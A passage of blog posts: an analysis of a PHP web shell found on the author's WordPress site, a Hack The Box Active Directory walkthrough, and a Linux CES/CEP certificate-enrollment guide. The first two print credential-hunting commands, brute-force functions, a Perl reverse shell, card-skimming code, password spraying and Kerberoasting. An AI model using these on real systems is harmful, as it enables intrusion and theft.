        "find all writable folders and files" => "find / -perm -2 -ls",
        "find all writable folders and files in current dir" => "find . -perm -2 -ls",
        "find all service.pwd files" => "find / -type f -name service.pwd",
        "find service.pwd files in current dir" => "find . -type f -name service.pwd",
        "find all .htpasswd files" => "find / -type f -name .htpasswd",
        "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
        "find all .bash_history files" => "find / -type f -name .bash_history",
        "find .bash_history files in current dir" => "find . -type f -name .bash_history",
        "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
        "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
        "Locate" => "",
        "locate httpd.conf files" => "locate httpd.conf",
        "locate vhosts.conf files" => "locate vhosts.conf",
        "locate proftpd.conf files" => "locate proftpd.conf",
        "locate psybnc.conf files" => "locate psybnc.conf",
        "locate my.conf files" => "locate my.conf",
        "locate admin.php files" => "locate admin.php",
        "locate cfg.php files" => "locate cfg.php",
        "locate conf.php files" => "locate conf.php",
        "locate config.dat files" => "locate config.dat",
        "locate config.php files" => "locate config.php",
        "locate config.inc files" => "locate config.inc",
        "locate config.inc.php" => "locate config.inc.php",
        "locate config.default.php files" => "locate config.default.php",
        "locate config* files " => "locate config",
        "locate .conf files" => "locate '.conf'",
        "locate .pwd files" => "locate '.pwd'",
        "locate .sql files" => "locate '.sql'",
        "locate .htpasswd files" => "locate '.htpasswd'",
        "locate .bash_history files" => "locate '.bash_history'",
        "locate .mysql_history files" => "locate '.mysql_history'",
        "locate .fetchmailrc files" => "locate '.fetchmailrc'",
        "locate backup files" => "locate backup",
        "locate dump files" => "locate dump",
        "locate priv files" => "locate priv"
    );

More Recon:

if ($GLOBALS['os'] == 'nix') {
        wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"ft\", \"/rgp/\", \"cnffjq\")'>[view]</a>" : 'no');
        wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"ft\", \"/rgp/\", \"funqbj\")'>[view]</a>" : 'no');
        wsoSecParam('OS version', @file_get_contents('/proc/version'));
        wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
        if (!$GLOBALS['safe_mode']) {
            $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
            $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
            $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');

Removal of the Shell:

function actionSelfRemove() {

    if ($_POST['p'] == 'yes')
        if (@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
            die('Shell has been removed');
        else
            echo 'unlink error!';
    if ($_POST['p'] != 'yes')
        wsoHeader();
    echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
    wsoFooter();
}

(There are many other functions for handling each type of success)

if ($_POST['proto'] == 'ftp') {

            function wsoBruteForce($ip, $port, $login, $pass) {
                $fp = @ftp_connect($ip, $port ? $port : 21);
                if (!$fp)
                    return false;
                $res = @ftp_login($fp, $login, $pass);
                @ftp_close($fp);
                return $res;
            }

        } elseif ($_POST['proto'] == 'mysql') {

            function wsoBruteForce($ip, $port, $login, $pass) {
                $res = @mysql_connect($ip . ':' . ($port ? $port : 3306), $login, $pass);
                @mysql_close($res);
                return $res;
            }

        } elseif ($_POST['proto'] == 'pgsql') {

            function wsoBruteForce($ip, $port, $login, $pass) {
                $str = "host='" . $ip . "' port='" . $port . "' user='" . $login . "' password='" . $pass . "' dbname=postgres";
                $res = @pg_connect($str);
                @pg_close($res);
                return $res;
            }

        }

Connect Back Function:

(This was Base64 encoded in a function called “connect_back”)

#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system('/bin/sh -i');
close(STDIN);
close(STDOUT);
close(STDERR);n)

Some attribution?

define("SMILODON_EMAIL", "r.kortes2018@yandex.ru");
define("SMILODON_URL", "https://javasources.net/SMILODON/index.php?view=");
$get_url = "https://predator.host/SMILODON/index.php?view="
$get_url = "https://zolo.pw/wtf/index.php?h=" . $_SERVER['HTTP_HOST'];

Special Cookies:

if (((isset($_COOKIE['wtf'])) && (md5($_COOKIE['wtf']) == '7ac1cca5bee8b8b31a521b97b0988063')) || ((isset($_COOKIE['ftw'])) && (md5($_COOKIE['ftw']) == '7ac1cca5bee8b8b31a521b97b0988063')))

Payments / Credit Card pinching:

        if (isset($_POST['billing_first_name'])) {
            $firstname = isset($_POST['billing_first_name']) ? $_POST['billing_first_name'] : "";
            $lastname = isset($_POST['billing_last_name']) ? $_POST['billing_last_name'] : "";
            $country = isset($_POST['billing_country']) ? $_POST['billing_country'] : "";
            $region = isset($_POST['billing_state']) ? $_POST['billing_state'] : "";
            $city = isset($_POST['billing_city']) ? $_POST['billing_city'] : "";
            $address = isset($_POST['billing_address_1']) ? $_POST['billing_address_1'] : "";

            $zip = isset($_POST['billing_postcode']) ? $_POST['billing_postcode'] : "";
            $phone = isset($_POST['billing_phone']) ? $_POST['billing_phone'] : "";
            $email = isset($_POST['billing_email']) ? $_POST['billing_email'] : "";

            $bill = $firstname . ' ' . $lastname . '|' . $address . '|' . $city . '|' . $region . ' |' . $zip . '|' . $country . '|' . $phone . ' ' . $email;
            setcookie("_wdata", base64_encode($bill), time() + 3600, "/");
            $_COOKIE['_wdata'] = base64_encode($bill);
        };
        if (isset($_POST['payment'])) {
            $fieldsArray = array(
                "/.*cc_num.*/" => 1,
                "/.*control_settings.*/" => 1,
                "/.*cc_exp_m.*/" => 2,
                "/.*exp_month.*/" => 2,
                "/.*expirationMonth.*/" => 2,
                "/.*msn_set.*/" => 2,
                "/.*cc_exp_y.*/" => 3,
                "/.*exp_year.*/" => 3,
                "/.*expirationYear.*/" => 3,
                "/.*yellow_set.*/" => 3,
                "/.*savage_set.*/" => 4,
                "/.*cc_cid.*/" => 4
            );

Wrapping Up:

There’s more code, most of it has random function names and concatenated strings making it a little harder to follow. It is mostly the types of things you’d expect in a backdoor - inventory tasks and functions to attempt privilege escalation.

This mini incident was a bit of a wakeup call to me. I told myself I didn’t really care too much about security for a blogging site, but I think on some level I just assumed it wouldn’t happen to me. I’ve taken the site down for now, or at least parked it. I reached out to the hosting provider to let them know in case someone was able to get a good level of access to the underlying OS. There’s that unlikely chance that the person using the shell could have broken out of my hosting environment and had some influence on other hosts. More likely though, it is possible they could have served more malware from my site - that is a serious risk.

Oh, regarding Wordfence. I’m definitely not trying to push their product, I’ve only been a customer for a week, but I would say: if it hadn’t caught that suspicious “include” statement in a .php file as a sign that something was up, I’ll be honest and admit that I wouldn’t have spotted this for quite a while. There’s just so much code in a WordPress site, if you maintain one, I would recommend getting an automated scanning product and Wordfence did the job for me.

References

HTB - Search

Thu, 15 Dec 2022 14:34:25 +0000

Search is a strong Active Directory lab for attackers and defenders because it rewards disciplined enumeration more than tool memorization. The useful habit is to keep asking which identity has which right over which object, then prove the path before escalating.

Before going too far: if you are new to this type of content, I’d encourage you to use ippsec’s really high-quality YouTube video rather than this post. This post is better suited to provide quick access to commands and techniques that might help you solve this AD challenge and also let you test attack and defense for the techniques in your own lab environment.

Recon

nmap -sC -sV -oA search.nmap 10.10.11.129

We determine that this has the look of an Active Directory domain controller because of what appears to be a combination of DNS (53), Global Catalog (3268), Kerberos (88), LDAP (389) and SMB (445) on the machine.

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus

80/tcp open http Microsoft IIS httpd 10.0
 |http-title: Search - Just Testing IIS | http-methods: | Potentially risky methods: TRACE
 |http-server-header: Microsoft-IIS/10.0
88/tcp open Kerberos-sec Microsoft Windows Kerberos (server    time: 2022-12-12 00:39:40Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name) |_ssl-date: 2022-12-12T00:41:04+00:00; -10h59m57s from scanner time. | ssl-cert: Subject: commonName=research | Not valid before: 2020-08-11T08:13:35 |_Not valid after: 2030-08-09T08:13:35 443/tcp open ssl/http Microsoft IIS httpd 10.0 | tls-alpn: | http/1.1
|http-server-header: Microsoft-IIS/10.0 |_http-title: Search - Just Testing IIS |_ssl-date: 2022-12-12T00:41:05+00:00; -10h59m57s from scanner time. | http-methods: | Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35

445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-12-12T00:41:05+00:00; -10h59m57s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35

3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2022-12-12T00:41:04+00:00; -10h59m57s from scanner time.
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: search.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=research
| Not valid before: 2020-08-11T08:13:35
|_Not valid after: 2030-08-09T08:13:35
|_ssl-date: 2022-12-12T00:41:05+00:00; -10h59m57s from scanner time.
Service Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windows

We also notice what appears to be a web server. If the machine is a domain controller it would not be recommended in many situations, but in this lab it is a starting point to find more information.

Hostname

We can already infer the hostname of “research” via the commonname in TLS certificate output generated with nmap above.

Another approach, demonstrated by ippsec in the video is to use crackmapexec. An easy way to get it in a state ready to go if you are not using kali is with docker:

docker run -it --entrypoint=/bin/sh --name cme -v ~/.cme:/root/.cme byt3bl33d3r/crackmapexec

We can see from the output that the SMB interrogation backs up our hostname finding from the TLS certificate. (We can also see that SMB signing is enabled. Not ideal for attackers, thumbs up for the blue team).

SMB 10.10.11.129 445 RESEARCH [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)

Users

By navigating to the web site found in the nmap scan we can see that there are a handful of employee names on the site. We can create a file containing likely login names based on the full names. The suggested names would be firstname.lastname (roger.ramjet) as well as firstinitiallastname (rramjet).

We come up with something like:

hope.sharp
keely.lyons
dax.santiago
sierra.frye
kyla.stewart
kaiara.spencer
dave.simpson
ben.thompson
chris.stewart
hsharp
klyons
dsantiago
sfrye
kstewart
kspencer
dsimpson
bthompson
cstewart

The next step is to get a better idea on the naming convention and users that do exist in AD. In the video mentioned at the start, ippsec suggests ropnop’s kerbrute which is an excellent idea (https://github.com/ropnop/kerbrute).

We can get it like:

wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
chmod +x kerbrute_linux_amd64

And check against our list of potential users with:

./kerbrute_linux_amd64 userenum --dc 'research.search.htb' -d 'search.htb' search-users.txt

We determine that the following three are interesting to us:

./kerbrute_linux_amd64 userenum --dc 'research.search.htb' -d 'search.htb' search-users.txt
    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/13/22 - Ronnie Flathers @ropnop

2022/12/13 01:35:51 >  Using KDC(s):
2022/12/13 01:35:51 >  	research.search.htb:88

2022/12/13 01:35:51 >  [+] VALID USERNAME:	 hope.sharp@search.htb
2022/12/13 01:35:51 >  [+] VALID USERNAME:	 dax.santiago@search.htb
2022/12/13 01:35:51 >  [+] VALID USERNAME:	 keely.lyons@search.htb
2022/12/13 01:35:51 >  [+] VALID USERNAME:	 sierra.frye@search.htb
2022/12/13 01:35:51 >  Done! Tested 18 usernames (4 valid) in 0.472 seconds

We can be reasonably confident that we’ve learned the default naming convention (firstname.lastname) and some valid usernames. In the case of Hope, we also discovered what appears to be a password in an image on the website.

We can confirm the password using the same tool:

./kerbrute_linux_amd64 passwordspray --dc 'research.search.htb' -d 'search.htb' search-users.txt 'ThepasswordWeThinkWeFound'

In the first attempt we are reminded that because we are dealing with Kerberos, we need to ensure clocks are in sync. The default allowable skew is five minutes. If we first update our local client time and then try again we have success:

\--- $sudo ntpdate 10.10.11.129
12 Dec 14:50:01 ntpdate[5225]: step time server 10.10.11.129 offset -39600.255169 sec

\--- $./kerbrute_linux_amd64 passwordspray --dc 'research.search.htb' -d 'search.htb' search-users.txt 'thepasswordwefind'

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/12/22 - Ronnie Flathers @ropnop

2022/12/12 14:50:09 >  Using KDC(s):
2022/12/12 14:50:09 >  	research.search.htb:88

2022/12/12 14:50:10 >  [+] VALID LOGIN:	 hope.sharp@search.htb:thepassowrdwefind
2022/12/12 14:50:10 >  Done! Tested 18 logins (1 successes) in 0.965 seconds

We could also validate that we have at least read access to the ‘sysvol’ or ‘netlogon’ directories which need to be readable by all authenticated users using:

--- $smbclient \\\\search.htb\\sysvol -U search\\hope.sharp
Password for [SEARCH\hope.sharp]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  Dc        0  Wed Apr  1 02:41:30 2020
  ..                                 Dc        0  Wed Apr  1 02:41:30 2020
  FOLJWSHRGG                         Dc        0  Wed Apr  1 02:41:30 2020
  search.htb                        Drc        0  Wed Apr  1 01:18:24 2020

		3246079 blocks of size 4096. 600243 blocks available

Data Collection

Now that we have a confirmed set of credentials, we can go ahead and take a bloodhound collection.

git clone https://github.com/fox-it/BloodHound.py.git
python3 -m venv .venv
source .venv/bin/activate
pip3 install .

python3 bloodhound.py -u hope.sharp -p ourpassword -d search.htb -ns 10.10.11.129 -dc research.search.htb -c All

Once the collection is complete, we can start bloodhound to examine the data:

sudo apt update && sudo apt install -y bloodhound
sudo neo4j console

Log on to the web portal on localhost with http://localhost:7474 and change the default credentials from neo4j:neo4j

Then start bloodhound with:

bloodhound

Upload all the .json files collected with bloodhound.py.

You should be able to see that the database now has items populated.

Using “Analysis” > “Kerberos” > “List Kerberoastable Accounts” we locate WEB_SVC@search.htb as a potential next target. We could have moved on to using impacket as described in the next section but it is good to have a look at what we are working with in the bloodhound collection first. We also isolate an additional domain admin account: tristan.davis@search.htb.

Kerberoasting

We can use a script from impacket in the first instance:

GetUserSPNs.py search.htb/hope.sharp:ourpassword -outputfile krb.txt

Inspecting krb.txt we find that we have successfully gathered a hash.

$cat krb.txt
$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$bd19145bf443f980627ec849d5ea6700$0b781bfc8c2f76d62bd0376fc3ddd2070a179511a1acc918090a9407c17a3a101aaa280e0b5cde0ea560c0f9ff848799113a723719332b02d16b11312cd74d2498d33ba1ef2f3af36eff0c190cbb8bba191fd0dc55

We can attempt to crack the hash with hashcat mode 13100 (Kerberos 5 TGS-REP etype 23):

hashcat -m 13100 -a 0 krb.txt /opt/wordlists/rockyou.txt

We are lucky and can now use:

hashcat -m 13100 krb.txt --show

to recover the password for the service account.

We mark the account as owned in bloodhound and check for paths to domain admin. At this point there are none.

Since this is a service account, we should check for password spray with the new credentials. (The idea being that if an admin created the service account, they might also use that password for themselves). Before doing that though, we should get a list of all users found by bloodhound. An easy way to do that is to open the console on http://localhost:7474 and execute a simple query:

MATCH (u:USER) RETURN u.name

There’s an “export to csv” option in the top right corner. We can add all the usernames to our users.txt before running the password spray again with the new password.

Password Spray #2

./kerbrute_linux_amd64 passwordspray --dc 'research.search.htb' -d 'search.htb' search-users.txt 'newpassword'

We find that the password is shared by two accounts:

   __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3 (9dad6e1) - 12/13/22 - Ronnie Flathers @ropnop

2022/12/13 08:44:19 >  Using KDC(s):
2022/12/13 08:44:19 >  	research.search.htb:88

2022/12/13 08:44:19 >  [+] VALID LOGIN:	 WEB_SVC@search.htb:newpassword
2022/12/13 08:44:22 >  [+] VALID LOGIN:	 EDGAR.JACOBS@search.htb:newpassword
2022/12/13 08:44:24 >  Done! Tested 107 logins (2 successes) in 5.406 seconds

We mark the new account as owned in bloodhound and check for paths to domain admin. At this point there are still none.

The next point of interest is whether there are shares that lead us to code execution via RPC over SMB, crackmapexec does a good job of helping there but there do not seem to be any. Or any that just contain information that is useful to us:

smbmap -u edgar.jacobs -p password -d search -H 10.10.11.129

We identify:

        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	CertEnroll                                        	READ ONLY	Active Directory Certificate Services share
	helpdesk                                          	READ ONLY
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share
	RedirectedFolders$                                	READ, WRITE
	SYSVOL                                            	READ ONLY	Logon server share

We can enumerate the content of folders we have access to with something like:

smbmap -u edgar.jacobs -p password -d search -H 10.10.11.129 -R RedirectedFolders$

And in this case, we eventually find a useful file which we can download to our machine with:

smbget -U edgar.jacobs smb://10.10.11.129/RedirectedFolders$/edgar.jacobs/Desktop/Phishing_Attempt.xlsx

Reading the (full) Excel Spreadsheet

We find that a single column of the spreadsheet is locked and requires a password.

Fortunately, there is a known workaround. XLXS files are in zip format and contain the bits and pieces in the archive. If you extract the files you can work with the individual parts. In this case we are looking for the “SheetProtection” tag in the xml for the document. If we simply remove that tag the column will be no longer protected.

We remove the tag from xl/worksheets/sheet2.xml

then rezip the file:

zip -r Phishing_Attempt.xlsx *

When we reopen the file, we can see column C and it contains many passwords.

New Credentials

We noticed earlier that user.txt was in the folder for Sierra.Frye but we didn’t seem to have access. We can can that again now with credentials that appear to be for that user.

smbget -U Sierra.Frye smb://10.10.11.129/RedirectedFolders$/sierra.frye/User.txt

The user.txt is valid. Neither here nor there for the real world, but useful to reassure that we are on the right track on this simulation.

Certificates

The user Sierra.Frye appears to have certificate material in the Downloads folder (Downloads\Backups)

smbget -U sierra.frye -w search -R smb://10.10.11.129/RedirectedFolders$/sierra.frye/Downloads/Backups/search-RESEARCH-CA.p12
smbget -U sierra.frye -w search -R smb://10.10.11.129/RedirectedFolders$/sierra.frye/Downloads/Backups/staff.pfx

When attempting to load the certificate via Firefox we find that the certificate is password protected.

We crack the password:

pfx2john staff.pfx > staff.hash
john --wordlist=rockyou.txt staff.hash

Now that we have the password and should be able to import the .pfx file.

Web Enumeration:

We need to find if there are authenticated parts of the site, we have yet to stumble on for which a client certificate might be useful.

gobuster dir -u 10.10.11.129 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt

We hit a promising 403 on “staff”:

/staff                (Status: 403) [Size: 1233]

If we change our request to use https, we can leverage the certificate we imported for mutual authentication and succeed in finding the PowerShell Web site. This would be an undesirable configuration for most Domain Controllers but provided a really interesting detour on this practice lab.

PowerShell Web

Once logged in, we have shell access to the machine.

If we update our bloodhound information, marking Seirra as owned we can see that there is now a path to Administrators:

Looking at the diagram we can see that sierra.frye is a member of the ITSEC group.

The ITSEC group has “ReadGMSAPassword” rights on the BIR-ADFS-GMSA$ account. We can assume that this is a group managed service account.

The BIR-ADFS-GMSA$ account has GenericAll rights on tristan.davies and Tristan is a member of the Administrators group, nice.

We should be able to take over Tristan’s account if we can retrieve the GMSA credentials. The DSInternals package will allow us to do this.

$GMSA = Get-ADServiceAccount -Identity bir-adfs-gmsa -Properties 'msds-managedpassword'
$pass = $GMSA.'msds-managedpassword'
$convertedpass = ConvertFrom-ADManagedPasswordBlob $pass
$user = 'BIR-ADFS-GMSA$'
$password = $convertedpass.'CurrentPassword'
$ss = ConvertTo-SecureString $password -AsPlainText -Force
$cred = new-object system.management.automation.PSCredential $user,$ss
Invoke-Command -computername 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText 'P@ssw0rd123!' -force)} -Credential $cred

WMIExec

It would be nice if we had a way to get a shell as Tristan Davis now that we’ve reset his password. One way to achive this is with impacket. We can use:

wmiexec.py 'search/tristan.davies:P@ssw0rd123!@10.10.11.129'

And we should see:

From there we can dump the challenge flag as needed but more importantly we can see that we have full domain administrator privileges and have completed the objective of compromising this domain.

References

Using Microsoft CES/CEP for Linux Workstation Certificate Enrollment with Kerberos Workstation Authentication

Tue, 01 Nov 2022 14:34:25 +0000

This post describes a certificate-enrollment pattern for domain-joined Linux workstations that need to authenticate with machine-account Kerberos and request workstation certificates from Microsoft AD CS. The main moving parts are CES/CEP, Kerberos delegation, certificate templates, Linux domain join and keytab handling, and client-side enrollment tooling.

We will cover the detail a little further down, but at a high level this can be achieved with:

CES/CEP configured on the Microsoft CA (or on separate machines as a CA role)
Domain join and keytab configuration on Linux workstations.
CEPCES open source project: https://github.com/openSUSE/cepces/

The lab configuration I’d suggest you start your POC with:

Windows 2019 Domain Controller.
Windows 2019 Certificate Authority configured in Enterprise mode.
Linux client - This post is based on Debian.
Windows client - Domain joined, but logged on with local account. This will help confirm that CEP/CES is doing it is thing before you start trying to teach a linux client to enjoy Windows things.

CES/CEP in brief

CES and CEP provide a HTTPS interface for your CA. It is different than the old web enrollment interface that it sometimes gets confused with. Unlike that web enrollment interface, there is no web GUI to click through and manually request certificates.

Instead, CEP basically provides a HTTPS to LDAP interface to retrieve information about available certificates from AD and CES provides a HTTPS to RPC/DCOM interface to allow clients to retrieve those certificates from the certificate authority.

The HTTPS interface is especially useful for the use case at the top of this post because we can enforce Kerberos authentication.

This diagram might help, but I’d caution that in many cases it will be preferable to move the role onto it is own server.

CES/CEP Installation

Installation of CES and CEP is relatively easy and your best bet is to stick with the Microsoft documentation in case there are adjustments in the UI and this post is out of date.

I’d recommend this page:

https://docs.microsoft.com/en-us/windows-server/identity/solution-guides/certificate-enrollment-certificate-key-based-renewal

The Microsoft article can be summarized as:

Install the CES and CEP roles using Add/Remove Roles in Windows Server.
Configure the roles via the Wizard.
Choose Integrated Windows Authentication. (Our goal is for Kerberos authentication via linux machine account)
You’ll need a Server certificate available for the Wizard to configure on the HTTPS interface.
You’ll need a service account for the CES/CEP service and that service account needs to be added to the IIS_USER group on the CESCEP server.

Once it is set up, you’ll need to make sure that the service account has a HTTP SPN and that it is trusted for delegation that is constrained to the MSCA.

In case it is helpful here is my configuration with those things:

Domain: jmpesp.xyz
Service account: jmpesp\cescep
CA: ca.jmpesp.xyz
DC: dc.jmpesp.xyz

Delegation example (PowerShell):

Get-ADUser -Identity cescep | Set-ADAccountControl -TrustedToAuthForDelegation $True
Set-ADUser -Identity cescep -Add @{'msDS-AllowedToDelegateTo'=@('HOST/CA.jmpesp.xyz','RPCSS/CA.jmpesp.xyz')}

SPN Example:

setspn -s http/ca.jmpesp.xyz jmpesp\cescep

setspn can be confusing, but the command above is saying “when someone comes looking for a service ticket for HTTP on ca.jmpesp.xyz the AD account needed is cescep.jmpesp.xyz - our service account. So without this SPN, what could happen is that a client might just fail, because there is no HTTP SPN. Or it might fall back to ask for HOST\ca.jmpesp.xyz which will be no good, because the secret in play there would be the computer account for the CA rather than our new service account that it running the service.

Potential Problem

There’s one more thing that caught me, it is worth leaving a note here:

"Error: Access was denied by the remote endpoint"

The answer was provided in this post: https://msitpros.com/?p=1930 .

But to summarize:

Make sure that both application pools for CES/CEP have been configured to run as the service account from above (in IIS manager). You’ll probably find that one is running as “ApplicationPoolIdentity”.

Once you’ve nailed that I’d suggest you test this on a domain joined Windows machine before moving forward. Log in with a local admin account rather than a domain account so that you know the only Kerberos going on is via the computer ticket.

Open a mmc.msc window.
Choose Certificates from the file -> add/remove snap in interface.
Choose computer certificates.
Go to the personal store.
Request new certificate.
Just behind the dialog below there is a little link under “configured by you” on the right. It is the one that will let you add a CES/CEP interface.
Provide the CES/CEP path. It is always in the format shown, but if you are unsure go back to IIS Manager on the CEP/CES server, choose Default WebSite, ADPolicyProvider_CEP_kerberos, and then application settings. You can grab the “URI” value from there.

Once you’re satisfied the test Windows client is working, you can move on to Linux where things are much more interesting :)

Linux Client Configuration.

DNS:

Hostname should be FQDN for the domain:

sudo hostnamectl set-hostname pop-os.jmpesp.xyz

Not essential, actually, maybe not even recommended, but worked for me - to ensure nothing fancy is going on with DNS you can do:

sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo nano /etc/resolv.conf

then add the nameserver you’d like to use for this process to the file and save it:

nameserver 192.168.1.165

Domain Join:

sudo apt -y install realmd libnss-sss libpam-sss sssd sssd-tools adcli samba-common-bin oddjob oddjob-mkhomedir packagekit

Test that you can now “see” the domain you’d like to join:

sudo realm discover jmpesp.xyz

Join:

sudo realm join -v -U Administrator jmpesp.xyz

(Doesn’t have to be administrator, just someone that can join the domain. You don’t need any jmpesp\administrator type format; if the previous steps have worked, you are golden)

If things have gone well, you’ll get a successful response from:

realm list

Kerberos:

apt-get install sssd heimdal-clients msktutil

Then, configure your /etc/krb5.conf.

For example:

If things are on track, you’ll be able to kinit and get a Kerberos ticket for the user. I’m using “administrator” for a simple lab example, but you should be able to use others from the domain.

kinit administrator

Good progress, but for the computer to talk Kerberos with our CESCEP server we are going to need a krbtgt for the computer account.

We can test that with:

sudo kinit -kt /etc/krb5.keytab POP-OS\$@JMPESP.XYZ
sudo klist

The critical part when it comes to the CEP/CES library we’ll configure in a minute is that your keytab file is in good shape. You can test with:

sudo ktutil -l

Update our /etc/sssd/sssd.conf:

sudo cp /etc/krb5.keytab /etc/sssd/key.keytab
sudo nano /etc/sssd/sssd.conf

sudo chmod 600 /etc/sssd/sssd.conf

We’re ready to ask for certificates.

Certificates:

git clone https://github.com/openSUSE/cepces.git
sudo apt install libkrb5-dev
sudo apt install python3-pip
cd cepces
sudo pip3 install -r requirements.txt

Then

sudo apt install certmonger
sudo apt install python3-requests-Kerberos
sudo python3 setup.py install

I had trouble with older versions of certmonger. The one that worked reliably for me was 0.79.13-3. On older ubuntu versions I had to pin the sources for this package to get it to update from a later release. You can inspect the versions available/installed like: sudo apt-cache policy certmonger

Edit the certmonger config with your environment details:

sudo cp /usr/local/etc/cepces/cepces.conf.dist /usr/local/etc/cepces/cepces.conf
sudo nano /usr/local/etc/cepces/cepces.conf

My working example is:

[global]
# Hostname of the issuing certification authority. This is an optional setting
# and is only used to construct the URL to the Policy Provider endpoint.
#
# Default: ca
server=ca.jmpesp.xyz

# This is the endpoint type. It can be either "Policy" where the server
# endpoint specified later will be used to look up enrollment endpoints, or it
# can be "Enrollment" to specify a direct endpoint (bypassing XCEP
# altogether.)
type=Policy

# This is the authentication mechanism used for connecting to the service
# endpoint. The following options are available:
#
# * Anonymous
#             Anonymous authentication (i.e. no authentication at all.) This
#             is discouraged and untested. It is only included for completness
#             as defined in the MS-XCEP specification.
# * Kerberos
#             Transport level authentication. This is the default where the
#             authentication is performed in the HTTP(s) layer.
# * UsernamePassword
#             Message level authentication. The credentials are used in the
#             message header for authentication.
# * Certificate
#             Message level authentication. A client certificate is used to
#             sign the message. This is not yet implemented.
#
# Default: Kerberos
auth=Kerberos

# This is the final URL of the Policy Provider endpoint.
#
# Default: https://${server}/ADPolicyProvider_CEP_${auth}/service.svc/CEP
endpoint=https://${server}/ADPolicyProvider_CEP_${auth}/service.svc/CEP

# Path to a CA bundle or directory containing certificates. If not specified,
# the system default is used. If set to an empty value, verification is
# bypassed. This is strongly discouraged.
#
# Please note that directories are supported starting with python-requests 2.9.
#
# Default: <not defined>
#cas=

[Kerberos]
# Use the specified keytab. If unspecified, the system default is used.
#
# Default: <not defined>
#keytab=

# An optional explicit realm to use. If unspecified, the default system realm
# is used.
#
# Default: <not defined>
realm=JMPESP.XYZ

# Initialize a credential cache. If this is disabled, a valid credential cache
# is required prior launching the application. If enabled, a temporary
# in-memory cache is created, and released when the application ends.
#
# Default: True
ccache=True

# A list of principals to try when requesting a ticket.
#
# Default: <empty list>
principals=
  ${shortname}$$
  ${SHORTNAME}$$
  host/${SHORTNAME}
  host/${fqdn}

# A list of encryption types to use.
#
# Default: <not defined>
enctypes=
  aes128-cts-hmac-sha1-96
  aes256-cts-hmac-sha1-96

You need to add a “CA” (configuration) so that certmonger knows how to deal with the CESCEP interface on the Certificate Authority.

